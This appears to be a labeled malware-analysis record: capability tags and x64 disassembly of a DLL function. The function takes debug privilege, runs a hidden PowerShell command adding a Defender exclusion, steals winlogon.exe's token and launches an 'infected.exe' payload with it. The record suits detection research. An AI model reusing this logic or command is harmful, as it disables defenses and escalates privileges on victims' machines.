Function at 0x180001310
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended
Enumerate processes
Get common file path
Impersonate user
Parse pe header
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x1060]
mov eax, 0x1160
call fcn.180011df0
sub rsp, rax
mov rax, qword [0x18001e088]
xor rax, rsp
mov qword [rbp + 0x1040], rax
mov rsi, rcx
test edx, edx
je 0x18000180a
cmp edx, 1
jne 0x18000181c
mov qword [rsp + 0x1188], rbx
xor ebx, ebx
mov qword [rsp + 0x1158], r14
mov r14d, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800013a7
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea r9d, [rbx + 4]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
lea edx, [rbx + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne r14d, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
test r14d, r14d
je 0x1800017b0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x50]
lea edx, [rdi + 0x27]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800017b0
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x1800017aa
mov rax, qword [rsp + 0x58]
lea r9d, [rdi + 0xf]
mov qword [rsp + 0x28], rbx
lea r8, [rbp - 0x80]
xor edx, edx
mov qword [rbp - 0x7c], rax
mov dword [rbp - 0x80], edi
mov dword [rbp - 0x74], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x18000143b
mov rcx, qword [rsp + 0x50]
jmp 0x1800017aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x50]
cmp eax, 0x514
je 0x1800017aa
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea rdx, [rbp + 0x220]
xor ecx, ecx
lea r8d, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x1800017b0
xor r9d, r9d
mov qword [rsp + 0x1150], r15
lea rdx, [rbp + 0x10]
xor ecx, ecx
lea r8d, [r9 + 0x24]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x180001584
mov eax, dword [rbp + 0x10]
lea r9, [rbp - 0x80]
xorps xmm0, xmm0
mov dword [rsp + 0x50], eax
movzx eax, word [rbp + 0x14]
lea r8, str.powershell.exe__NoLogo__NoProfile__NonInteractive__WindowStyle_Hidden__ExecutionPolicy_bypass__Command__Add_MpPreference__ExclusionPath__s___s_
mov word [rsp + 0x54], ax
lea rcx, [rbp + 0x430]
xor eax, eax
mov word [rsp + 0x56], bx
mov qword [rbp], rax
mov edx, 0x400
mov qword [rsp + 0x78], rax
mov eax, dword [0x18001bbc0]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x70], eax
lea rax, [rsp + 0x50]
movups xmmword [rbp - 0x30], xmm0
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x60], 0x68
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x24], edi
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x20], bx
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [str._env:TEMP]
movups xmmword [rbp - 0x80], xmm0
call fcn.1800018b0
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x430]
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, str.infected.exe
mov edx, 0x208
lea r9, [rbp + 0x220]
mov qword [rsp + 0x20], rax
lea r8, str.__s_s_
lea rcx, [rbp + 0xc30]
call fcn.180001840
xor edx, edx
mov r15d, ebx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x430]
mov dword [rbp + 0x430], 0x238
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180001753
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], rbx
lea r8, [rbp + 0x45c]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x10]
call fcn.180012060
test eax, eax
je 0x180001641
lea rdx, [rbp + 0x430]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800015e2
jmp 0x180001753
mov r8d, dword [rbp + 0x438]
xor edx, edx
mov ecx, 0x1fffff
mov qword [rsp + 0x1190], r12
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rsp + 0x50]
mov edx, 2
mov rcx, rax
mov r12, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001742
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp], rax
mov r9d, 2
mov qword [rsp + 0x78], rax
mov edx, 0x2000000
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x20], edi
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x60], 0x68
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x24], edi
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x20], bx
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x68], 0x18
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x180001737
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea r9, [rbp + 0xc30]
xor r8d, r8d
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
lea edx, [r8 + 2]
mov dword [rsp + 0x20], 0x8000000
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov rcx, qword [rsp + 0x58]
test eax, eax
cmovne r15d, edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x1190]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
mov r15, qword [rsp + 0x1150]
jne 0x180001775
lea rcx, [rbp + 0xc30]
call section..text
lea rcx, [rbp + 0xc30]
call fcn.180004120
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, edi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x1800017b0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov r14, qword [rsp + 0x1158]
mov eax, 0x5a4d
mov qword [0x18001fc50], rsi
cmp word [rsi], ax
jne 0x1800017fe
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1800017fe
mov ecx, 0x20b
cmp word [rax + rsi + 0x18], cx
jne 0x1800017fe
mov eax, dword [rax + rsi + 0x88]
mov ebx, edi
add rax, rsi
mov qword [0x18001fc58], rax
mov eax, ebx
mov rbx, qword [rsp + 0x1188]
jmp 0x180001821
test r8, r8
jne 0x18000181c
mov rcx, qword [0x18001fc60]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rbp + 0x1040]
xor rcx, rsp
call fcn.180002070
add rsp, 0x1160
pop rdi
pop rsi
pop rbp
ret